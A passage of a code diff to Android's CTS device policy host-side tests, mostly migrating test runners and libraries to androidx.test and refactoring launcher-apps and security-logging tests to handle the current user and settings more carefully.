     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.packageinstaller"
         android:label="Package Installer CTS Tests" />
 
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
index dd76558..e4b4171 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
@@ -32,8 +32,8 @@
 
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     ub-uiautomator
 
 # tag this module as a cts test artifact
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
index 26efd97..a494ed6 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
@@ -36,7 +36,7 @@
         </receiver>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.profileowner"
                      android:label="Profile Owner CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
index 533e925..2597a64 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
@@ -18,7 +18,8 @@
 import android.app.PendingIntent;
 import android.app.usage.UsageStatsManager;
 import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import java.util.concurrent.TimeUnit;
 
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
index 7c7f94b..67fa271 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
@@ -23,7 +23,9 @@
 import android.app.Service;
 import android.content.Intent;
 import android.os.Binder;
+import android.os.Handler;
 import android.os.IBinder;
+import android.os.Looper;
 import android.os.Parcel;
 import android.os.Process;
 import android.os.RemoteException;
@@ -43,7 +45,9 @@
                 throws RemoteException {
             switch (code) {
                 case FIRST_CALL_TRANSACTION:
-                    Process.killProcess(Process.myPid());
+                    new Handler(Looper.getMainLooper()).post( () -> {
+                         Process.killProcess(Process.myPid());
+                     });
                     return true;
             }
             return super.onTransact(code, data, reply, flags);
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
index 4cdbeee..5d9c1fc 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
@@ -28,10 +28,10 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES = \
     androidx.legacy_legacy-support-v4 \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     ub-uiautomator \
-    android-support-test
+    androidx.test.rules
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
index 6ae1eb4..daf7862 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
@@ -36,7 +36,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.devicepolicy.singleadmin"
         android:label="Managed Profile CTS Tests (Single admin receiver)"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java
index 2828b3d..c090d50 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java
@@ -25,8 +25,9 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
 
 import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
 
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk
index 8f39155..62467af 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk
@@ -28,10 +28,10 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     androidx.legacy_legacy-support-v4 \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     ub-uiautomator \
-    android-support-test \
+    androidx.test.rules \
     testng
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml
index b721292..c7e9a02 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml
@@ -45,7 +45,7 @@
         </receiver>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.transferownerincoming"
                      android:label="Transfer Owner CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java
index 7a598d9..952aebc 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java
@@ -25,8 +25,9 @@
 import android.content.Context;
 import android.content.SharedPreferences;
 import android.os.PersistableBundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
index b33da04..f39dbbe 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
@@ -21,7 +21,8 @@
 import static org.testng.Assert.assertThrows;
 
 import android.app.admin.SystemUpdatePolicy;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.filters.SmallTest;
 
 import org.junit.Test;
 
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java
index ef7e8ac..0fadc10 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java
@@ -20,7 +20,8 @@
 import static org.junit.Assert.assertEquals;
 
 import android.app.admin.DevicePolicyManager;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.filters.SmallTest;
 
 import org.junit.Test;
 
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk
index aeacb40..c046da2 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk
@@ -28,10 +28,10 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     androidx.legacy_legacy-support-v4 \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     ub-uiautomator \
-    android-support-test \
+    androidx.test.rules \
     testng
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml
index 59feeb3..e1a6dbb 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml
@@ -36,7 +36,7 @@
         </receiver>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.transferowneroutgoing"
                      android:label="Transfer Owner CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java
index d0073e1..6aedd1b 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java
@@ -16,10 +16,8 @@
 package com.android.cts.transferowner;
 
 import static junit.framework.Assert.assertNotNull;
-import static junit.framework.Assert.assertTrue;
 
 import static org.junit.Assert.assertEquals;
-import static org.testng.Assert.assertFalse;
 import static org.testng.Assert.assertNull;
 import static org.testng.Assert.assertThrows;
 
@@ -32,7 +30,8 @@
 import android.os.PersistableBundle;
 import android.os.UserHandle;
 import android.os.UserManager;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
index 9e0cd93..b42b2bd 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
@@ -23,7 +23,8 @@
 import android.app.admin.DevicePolicyManager;
 import android.app.admin.SystemUpdatePolicy;
 import android.os.PersistableBundle;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.filters.SmallTest;
 
 import org.junit.Test;
 
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java
index dc4c63d..157e840 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java
@@ -22,7 +22,8 @@
 
 import android.app.admin.DevicePolicyManager;
 import android.os.PersistableBundle;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.filters.SmallTest;
 
 import org.junit.Test;
 
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
index b03cf95..6ec2c8d 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_PACKAGE_NAME := CtsWifiConfigCreator
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index ef51156..eecf6df 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -63,7 +63,7 @@
     )
     private boolean mSkipDeviceAdminFeatureCheck = false;
 
-    private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
 
     protected static final int USER_SYSTEM = 0; // From the UserHandle class.
 
@@ -150,7 +150,18 @@
         if (mPrimaryUserId != USER_SYSTEM) {
             mFixedUsers.add(USER_SYSTEM);
         }
-        switchUser(mPrimaryUserId);
+
+        if (mHasFeature) {
+            // Switching to primary is only needed when we're testing device admin features.
+            switchUser(mPrimaryUserId);
+        } else {
+            // Otherwise, all the tests can be executed in any of the Android users, so remain in
+            // current user, and don't delete it. This enables testing in secondary users.
+            if (getDevice().getCurrentUser() != mPrimaryUserId) {
+                mFixedUsers.add(getDevice().getCurrentUser());
+            }
+        }
+
         removeOwners();
         removeTestUsers();
         // Unlock keyguard before test
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
index ed885c5..53db413 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
@@ -35,10 +35,9 @@
             "com.android.cts.launchertests.support";
     protected static final String LAUNCHER_TESTS_SUPPORT_APK = "CtsLauncherAppsTestsSupport.apk";
 
-    protected void installTestApps() throws Exception {
-        uninstallTestApps();
-        installAppAsUser(LAUNCHER_TESTS_APK, mPrimaryUserId);
-        installAppAsUser(LAUNCHER_TESTS_SUPPORT_APK, mPrimaryUserId);
+    protected void installTestApps(int userId) throws Exception {
+        installAppAsUser(LAUNCHER_TESTS_APK, userId);
+        installAppAsUser(LAUNCHER_TESTS_SUPPORT_APK, userId);
     }
 
     protected void uninstallTestApps() throws Exception {
@@ -47,8 +46,8 @@
         getDevice().uninstallPackage(SIMPLE_APP_PKG);
     }
 
-    protected void startCallbackService() throws Exception {
-        String command = "am startservice --user " + mPrimaryUserId
+    protected void startCallbackService(int userId) throws Exception {
+        String command = "am startservice --user " + userId
                 + " -a " + LAUNCHER_TESTS_SUPPORT_PKG + ".REGISTER_CALLBACK "
                 + LAUNCHER_TESTS_SUPPORT_PKG + "/.LauncherCallbackTestsService";
         CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
index 7b568af..eca6953 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
@@ -43,9 +43,6 @@
     protected static final String ACCOUNT_MANAGEMENT_APK
             = "CtsAccountManagementDevicePolicyApp.apk";
 
-    // Dequeue time of PACKAGE_ADDED intent for two test packages.
-    private static final int BROADCAST_WAIT_TIME_MILLIS = 10000; // 10 seconds
-
     @Override
     public void tearDown() throws Exception {
         if (mHasFeature) {
@@ -75,8 +72,9 @@
             assertTrue(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId,
                     /*expectFailure*/ false));
 
-            // Waiting for the broadcast idle state.
-            Thread.sleep(BROADCAST_WAIT_TIME_MILLIS);
+            // Wait broadcast idle to ensure the owner changed broadcast has been sent.
+            waitForBroadcastIdle();
+
             runDeviceTestsAsUser(INTENT_RECEIVER_PKG, testClass,
                     "testOwnerChangedBroadcastReceived", mPrimaryUserId);
         } finally {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index fbe75d2..edc2ff6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -330,6 +330,8 @@
             installAppAsUser(VPN_APP_APK, mUserId);
             executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet");
             rebootAndWaitUntilReady();
+            // Make sure profile user initialization is complete before proceeding.
+            waitForBroadcastIdle();
             verifyUserCredential(testPassword, mUserId);
             executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSetAfterReboot");
         } finally {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 0146826..d52a184 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -408,34 +408,42 @@
         if (!mHasFeature) {
             return;
         }
+        // Backup stay awake setting because testGenerateLogs() will turn it off.
+        final String stayAwake = getDevice().getSetting("global", "stay_on_while_plugged_in");
+        try {
+            // Turn logging on.
+            executeDeviceTestMethod(".SecurityLoggingTest", "testEnablingSecurityLogging");
+            // Reboot to ensure ro.device_owner is set to true in logd and logging is on.
+            rebootAndWaitUntilReady();
 
-        // Turn logging on.
-        executeDeviceTestMethod(".SecurityLoggingTest", "testEnablingSecurityLogging");
-        // Reboot to ensure ro.device_owner is set to true in logd and logging is on.
-        rebootAndWaitUntilReady();
-
-        // Generate various types of events on device side and check that they are logged.
-        executeDeviceTestMethod(".SecurityLoggingTest", "testGenerateLogs");
-        getDevice().executeShellCommand("dpm force-security-logs");
-        executeDeviceTestMethod(".SecurityLoggingTest", "testVerifyGeneratedLogs");
-
-        // Reboot the device, so the security event ids are reset.
-        rebootAndWaitUntilReady();
-
-        // Verify event ids are consistent across a consecutive batch.
-        for (int batchNumber = 0; batchNumber < 3; batchNumber++) {
-            generateDummySecurityLogs();
+            // Generate various types of events on device side and check that they are logged.
+            executeDeviceTestMethod(".SecurityLoggingTest", "testGenerateLogs");
             getDevice().executeShellCommand("dpm force-security-logs");
-            executeDeviceTestMethod(".SecurityLoggingTest", "testVerifyLogIds",
-                    Collections.singletonMap(ARG_SECURITY_LOGGING_BATCH_NUMBER,
-                            Integer.toString(batchNumber)));
-        }
+            executeDeviceTestMethod(".SecurityLoggingTest", "testVerifyGeneratedLogs");
 
-        // Immediately attempting to fetch events again should fail.
-        executeDeviceTestMethod(".SecurityLoggingTest",
-                "testSecurityLoggingRetrievalRateLimited");
-        // Turn logging off.
-        executeDeviceTestMethod(".SecurityLoggingTest", "testDisablingSecurityLogging");
+            // Reboot the device, so the security event ids are reset.
+            rebootAndWaitUntilReady();
+
+            // Verify event ids are consistent across a consecutive batch.
+            for (int batchNumber = 0; batchNumber < 3; batchNumber++) {
+                generateDummySecurityLogs();
+                getDevice().executeShellCommand("dpm force-security-logs");
+                executeDeviceTestMethod(".SecurityLoggingTest", "testVerifyLogIds",
+                        Collections.singletonMap(ARG_SECURITY_LOGGING_BATCH_NUMBER,
+                                Integer.toString(batchNumber)));
+            }
+
+            // Immediately attempting to fetch events again should fail.
+            executeDeviceTestMethod(".SecurityLoggingTest",
+                    "testSecurityLoggingRetrievalRateLimited");
+            // Turn logging off.
+            executeDeviceTestMethod(".SecurityLoggingTest", "testDisablingSecurityLogging");
+        } finally {
+            // Restore stay awake setting.
+            if (stayAwake != null) {
+                getDevice().setSetting("global", "stay_on_while_plugged_in", stayAwake);
+            }
+        }
     }
 
     private void generateDummySecurityLogs() throws DeviceNotAvailableException {
@@ -530,7 +538,7 @@
                     mPrimaryUserId);
 
             // Reboot while in kiosk mode and then unlock the device
-            getDevice().reboot();
+            rebootAndWaitUntilReady();
 
             // Check that kiosk mode is working and can't be interrupted
             runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
@@ -552,7 +560,7 @@
                     mPrimaryUserId);
 
             // Reboot while in kiosk mode and then unlock the device
-            getDevice().reboot();
+            rebootAndWaitUntilReady();
 
             // Try to open settings via adb
             executeShellCommand("am start -a android.settings.SETTINGS");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
index 9205ff7..8ae7184 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
@@ -42,7 +42,8 @@
 
         if (mMultiUserSupported) {
             removeTestUsers();
-            installTestApps();
+            uninstallTestApps();
+            installTestApps(mPrimaryUserId);
             // Create a secondary user.
             mSecondaryUserId = createUser();
             mSecondaryUserSerialNumber = Integer.toString(getUserSerialNumber(mSecondaryUserId));
@@ -75,7 +76,7 @@
         if (!mMultiUserSupported) {
             return;
         }
-        startCallbackService();
+        startCallbackService(mPrimaryUserId);
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
index 1596b3c..7df242d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
@@ -53,12 +53,9 @@
             mMainUserSerialNumber = Integer.toString(getUserSerialNumber(mParentUserId));
             startUser(mProfileUserId);
 
-            // Install test APK.
-            installTestApps();
-
-            // Also install on the managed profile too.
-            installAppAsUser(LAUNCHER_TESTS_APK, mProfileUserId);
-            installAppAsUser(LAUNCHER_TESTS_SUPPORT_APK, mProfileUserId);
+            // Install test APK on primary user and the managed profile.
+            installTestApps(mPrimaryUserId);
+            installTestApps(mProfileUserId);
         }
     }
 
@@ -110,7 +107,7 @@
         if (!mHasFeature) {
             return;
         }
-        startCallbackService();
+        startCallbackService(mPrimaryUserId);
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
@@ -123,7 +120,7 @@
             return;
         }
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
-        startCallbackService();
+        startCallbackService(mPrimaryUserId);
         getDevice().uninstallPackage(SIMPLE_APP_PKG);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
@@ -136,7 +133,7 @@
             return;
         }
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
-        startCallbackService();
+        startCallbackService(mPrimaryUserId);
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
index 0481777..5d67a46 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
@@ -29,6 +29,7 @@
 
     private boolean mHasLauncherApps;
     private String mSerialNumber;
+    private int mCurrentUserId;
 
     @Override
     protected void setUp() throws Exception {
@@ -36,8 +37,10 @@
         mHasLauncherApps = getDevice().getApiLevel() >= 21;
 
         if (mHasLauncherApps) {
-            mSerialNumber = Integer.toString(getUserSerialNumber(USER_SYSTEM));
-            installTestApps();
+            mCurrentUserId = getDevice().getCurrentUser();
+            mSerialNumber = Integer.toString(getUserSerialNumber(mCurrentUserId));
+            uninstallTestApps();
+            installTestApps(mCurrentUserId);
         }
     }
 
@@ -53,78 +56,78 @@
         if (!mHasLauncherApps) {
             return;
         }
-        installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
+        installAppAsUser(SIMPLE_APP_APK, mCurrentUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testSimpleAppInstalledForUser",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+                mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
     public void testLauncherCallbackPackageAddedMainUser() throws Exception {
         if (!mHasLauncherApps) {
             return;
         }
-        startCallbackService();
-        installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
+        startCallbackService(mCurrentUserId);
+        installAppAsUser(SIMPLE_APP_APK, mCurrentUserId);
 
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testPackageAddedCallbackForUser",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+                mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
     public void testLauncherCallbackPackageRemovedMainUser() throws Exception {
         if (!mHasLauncherApps) {
             return;
         }
-        installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
-        startCallbackService();
+        installAppAsUser(SIMPLE_APP_APK, mCurrentUserId);
+        startCallbackService(mCurrentUserId);
         getDevice().uninstallPackage(SIMPLE_APP_PKG);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testPackageRemovedCallbackForUser",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+                mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
     public void testLauncherCallbackPackageChangedMainUser() throws Exception {
         if (!mHasLauncherApps) {
             return;
         }
-        installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
-        startCallbackService();
-        installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
+        installAppAsUser(SIMPLE_APP_APK, mCurrentUserId);
+        startCallbackService(mCurrentUserId);
+        installAppAsUser(SIMPLE_APP_APK, mCurrentUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testPackageChangedCallbackForUser",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+                mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
     public void testLauncherNonExportedAppFails() throws Exception {
         if (!mHasLauncherApps) {
             return;
         }
-        installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
+        installAppAsUser(SIMPLE_APP_APK, mCurrentUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testLaunchNonExportActivityFails",
